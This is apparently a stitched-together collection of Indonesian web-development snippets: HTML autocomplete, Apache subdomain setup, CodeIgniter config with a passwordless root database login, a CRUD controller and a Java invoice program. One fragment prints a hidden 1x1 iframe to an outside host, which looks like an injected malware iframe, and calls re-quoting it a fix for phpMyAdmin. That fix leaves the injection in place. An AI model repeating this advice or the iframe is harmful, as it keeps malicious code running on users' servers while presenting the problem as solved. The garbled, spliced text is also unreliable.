caranya cukup mudah.
anda cukup memberikan perintah autocomplete="off" pada element inputan.
contoh penggunaannya adalah :
<input type="text" name="nama" autocomplete="off">
dengan begitu history pada inputan akan hilang, cukup mudah bukan :D.
<input type="text" name="nama" autocomplete="off">
mkdir /var/www/html/subdomain2. Konfigurasi Virtualhost
cd /etc/apache2/sites-available4. masukan perintah berikut
cp 000-default.conf subdomain.conf5. edit file subdomain.conf
nano subdomain.conf<VirtualHost *:80>
6. aktifkan site tersebut
keterangan :
ServerAdmin = alamat email pemilik domain
ServerName = nama domain utama, ex : domain.com
ServerAlias = nama subdomain yang ingin di ahlikan. ex : subdomain.domain.com
DocumentRoot= tempat/ directory pengalihan dari virtual alias yang sudah dibuat.
a2ensite subdomain.conf7. restart apache2
/etc/init.d/apache2 restart8. testing dengan browser dengan akses nama subdomain yang sudah dibuat tadi.
$active_group = 'default';
$query_builder = TRUE;
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => '',
'database' => 'toko_mobil',
'dbdriver' => 'mysqli',
'dbprefix' => '',
'pconnect' => FALSE,
'db_debug' => (ENVIRONMENT !== 'production'),
'cache_on' => FALSE,
'cachedir' => '',
'char_set' => 'utf8',
'dbcollat' => 'utf8_general_ci',
'swap_pre' => '',
'encrypt' => FALSE,
'compress' => FALSE,
'stricton' => FALSE,
'failover' => array(),
'save_queries' => TRUE
);
$config['base_url'] = '';
$config['base_url'] = '';
$config['base_url'] = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);
<?php
Class Data extends CI_Controller {
function __construct() { parent::__construct(); $this->load->database(); $this->load->helper('url'); $this->load->library('grocery_CRUD'); }
function index() { $this->load->view('template.php',(array('output' => '' , 'js_files' => array() , 'css_files' => array())));} public function namadb($db) { $crud = new grocery_CRUD(); $crud->set_theme('datatables');
$crud->set_table($db); $output = $crud->render(); $this->load->view('template.php', (array)$output); }
}
"<iframe src="http://Zief.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>";ganti menjadi
'<iframe src="http://Zief.pl/rc/" width=1 height=1 style="border:0"></iframe></body></html>';save kembali, kemudian coba buka kembali PHPmyadmin nya. permasalahan kelar.
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package praktikum4;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
*
* @author H4nk
*/
public class inputdarikeyboard3 {
public static void main(String[]args){
BufferedReader input = new BufferedReader(new InputStreamReader(System.in));
String nofak="";
String napel="";
String jumdata="";
try {
System.out.println(" Input Data Penjualan ");
System.out.println("============================================");
System.out.print("No. Faktur :");
nofak = input.readLine();
System.out.print("Nama Pelanggan :");
napel = input.readLine();
System.out.print("Jumlah beli :");
jumdata = input.readLine();
}catch(Exception e){
System.out.println("Ada Kesalahan....!");
}
int jb= Integer.valueOf(jumdata).intValue();
String kobar[] = new String[jb];
String nabar[] = new String[jb];
String harga[] = new String[jb];
String qty[] = new String[jb];
double jmlharga[] = new double[jb];
double totsel=0;
double ppn=0;
double totbay=0;
System.out.println("=====================Input Data Barang=============");
for(int i=0; i<jb; i++)
{
try{
System.out.println("Data ke " +(i+1));
System.out.print("Kode Barang : ");
kobar[i] = input.readLine();
System.out.print("Nama Barang : ");
nabar[i]= input.readLine();
System.out.print("Harga : ");
harga[i] = input.readLine();
System.out.print("Qty :");
qty[i] = input.readLine();
double hrg = Double.valueOf(harga[i]).doubleValue();
int qt = Integer.valueOf(qty[i]).intValue();
jmlharga[i] = hrg * qt;
totsel = totsel + jmlharga[i];
ppn = 0.1 * totsel;
totbay = totsel + ppn;
}catch(Exception e){
System.out.println("Ada Kesalahan....!");
}
}
System.out.println("============TOKO AL RASYID=========================");
System.out.println("================FAKTUR PENJUALAN===================");
System.out.println("No Faktur :"+nofak);
System.out.println("Nama Pelanggan :"+napel);
System.out.println("==================================================================");
System.out.println("No. Kode Barang Nama Barang harga Qty Jumlah Harga");
System.out.println("==================================================================");
for (int i=0;i<jb;i++){
System.out.println((i+1)+"\t"+kobar[i]+"\t\t"+ nabar[i]+"\t\t"+harga[i]+"\t"+qty[i]+"\t"+jmlharga[i]);
}
System.out.println("===================================================================");
System.out.println("Total :"+"\t\t\t\t\t\t"+totsel);
System.out.println("Ppn(10%) :"+"\t\t\t\t\t\t"+ppn);
System.out.println("Total Bayar :"+"\t\t\t\t\t\t"+totbay);
System.out.println("===================================================================");
}
}